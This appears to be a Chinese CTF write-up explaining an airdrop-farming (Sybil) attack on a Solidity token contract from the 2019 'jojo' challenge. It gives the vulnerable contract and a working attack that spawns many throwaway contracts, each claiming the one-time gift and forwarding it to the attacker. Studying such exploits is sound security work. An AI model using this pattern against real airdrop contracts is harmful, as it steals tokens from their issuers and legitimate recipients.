Article Summary
GPT 4

原理

薅羊毛攻击指使用多个不同的新账户来调用空投函数获得空投币并转账至攻击者账户以达到财富累计的一种攻击方式。这类攻击方式较为普通且常见,只要是有空投函数的合约都能够进行薅羊毛。

例子

数字经济大赛 2019 的 jojo

pragma solidity ^0.4.24;

contract jojo {
    mapping(address => uint) public balanceOf;
    mapping(address => uint) public gift;
    address owner;

    constructor()public{
        owner = msg.sender;
    }

    event SendFlag(string b64email);

    function payforflag(string b64email) public {
        require(balanceOf[msg.sender] >= 100000);
        emit SendFlag(b64email);
    }

    function jojogame() payable{
        uint geteth = msg.value / 1000000000000000000;
        balanceOf[msg.sender] += geteth;
    }

    function gift() public {
        assert(gift[msg.sender] == 0);
        balanceOf[msg.sender] += 100;
        gift[msg.sender] = 1;
    }

    function transfer(address to,uint value) public{
        assert(balanceOf[msg.sender] >= value);
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;
    }

}

分析如果想要出发flag函数需要余额>=100000; 而单单gift()函数一次只能增加余额100,所以可以创建1000个临时合约来调用空投函数,并进行转账。

pragma solidity ^0.4.24;

contract jojo {
    mapping(address => uint) public balanceOf;
    mapping(address => uint) public gift;
    address owner;
        
    constructor(address instance)public{
        owner = msg.sender;
    }
    
    event SendFlag(string b64email);
    
    function payforflag(string b64email) public {
        require(balanceOf[msg.sender] >= 100000);
        emit SendFlag(b64email);
    }
    
    function jojogame() payable{
        uint geteth=msg.value/1000000000000000000;
        balanceOf[msg.sender]+=geteth;
    }
    
    function gift() public {
        assert(gift[msg.sender]==0);
        balanceOf[msg.sender]+=100;
        gift[msg.sender]=1;
    }
    
    function transfer(address to,uint value) public{
        assert(balanceOf[msg.sender] >= value);
        balanceOf[msg.sender]-=value;
        balanceOf[to]+=value;
    }
    
}
contract Attack{
   function attack(uint num){
    for(uint i=0;i<num;i++){
        new Hack(this);
    }
   }
   function getflag(string email)public {
    jojo target=jojo(0xD15e151C53bfbDcaf21f5FC849167c526c5A4572);
    target.payforflag(email);
   }
}

contract Hack{
constructor(address target){
    jojo tem=jojo(0xD15e151C53bfbDcaf21f5FC849167c526c5A4572);
    tem.gift();
    tem.transfer(target,100);
}

}